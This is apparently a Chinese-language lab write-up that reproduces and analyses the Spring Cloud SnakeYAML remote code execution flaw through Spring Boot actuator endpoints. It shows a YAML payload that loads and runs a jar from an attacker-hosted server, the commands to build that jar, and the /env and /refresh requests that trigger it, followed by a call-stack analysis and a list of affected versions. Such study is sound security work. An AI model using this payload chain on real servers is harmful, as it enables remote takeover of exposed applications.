spring cloud SnakeYAML RCE
漏洞环境:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springcloud-snakeyaml-rce
IDEA打开然后配置一个Spring Boot即可
漏洞复现:
-
用
python3 -m http.server 80
在 VPS 上开一个简单的 WEB 服务 -
编写一个
example.yml
文件,上传到 VPS 根目录!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://192.168.43.141/example.jar"] ]] ]
-
把 https://github.com/artsploit/yaml-payload 下载下来,用如下命令生成
example.jar
文件,把 jar 文件上传到 VPS 根目录(我这里把AwesomeScriptEngineFactory.java
文件里的命令执行改为弹计算机,方便测试)javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf example.jar -C src/ .
-
访问 env 接口改变服务器
spring.cloud.bootstrap.location
环境变量POST /env Content-Type: application/x-www-form-urlencoded spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
-
访问 refresh 接口更新服务器配置(个人理解)
POST /refresh Content-Type: application/x-www-form-urlencoded
漏洞分析
通过 env 接口改变服务器
spring.cloud.bootstrap.location
环境变量,访问 refresh 接口更新服务器配置时,会加载spring.cloud.bootstrap.location
环境变量指向的外部 URL 地址的文件,也就是加载example.yml
文件,然后把这个 yml 文件交给 SnakeYAML 处理,SnakeYAML 根据example.yml
文件反序列化出一个 ScriptEngineManager 对象,其实就是会下载 http://192.168.43.141/example.jar 文件,并寻找一个实现javax.script.ScriptEngineFactory
接口的类,找的后进行实例化
SnakeYAML 反序列化
如下代码就相当于 SnakeYAML 反序列化 ScriptEngineManager 对象的作用
public class Test {
public static void main(String[] args) throws IOException {
URL url = new URL("http://192.168.43.141/example.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));
}
}
在 Runtime#exec
方法下断点
在 ServiceLoader#nextService
方法调用了无参构造实例化对象,无参构造里面构造的命令就会执行
调用栈如下
refresh更新配置
继续在 Runtime#exec
下断点进行分析,在 RefreshEndpoint#refresh
方法处理 refresh 接口访问
在调用栈的 BootstrapApplicationListener#bootstrapServiceContext
方法中调用 environment.resolvePlaceholders
获取到服务器 spring.cloud.bootstrap.location
环境变量赋值给 configLocation 变量
然后在 PropertySourcesLoader#load
方法中根据前面获取到的 spring.cloud.bootstrap.location
环境变量的文件后缀为yml,调用 YamlPropertySourceLoader#load
方法加载 URL 对应的yml配置文件
跟进 YamlPropertySourceLoader#load
方法,因为 spring-beans.jar
包含 snakeyaml.jar
,所以会调用 SnakeYAML 库解析yml文件
最终到 YamlProcessor#process
方法中调用到 Yaml#loadAll
解析yml文件内容,之后就是反序列化 ScriptEngineManager 对象(前面分析的)
总结
版本利用存在限制:
SpringBoot 2.x 无法利用
SpringBoot 1.5.x 在 Dalston 版本可以利用,在 Edgware 版本无法利用
SpringBoot <=1.4 可以利用
漏洞利用条件:
可以访问 evn 接口
可以访问 refresh 接口
目标可以出网
参考:
https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/
https://github.com/LandGrey/SpringBootVulExploit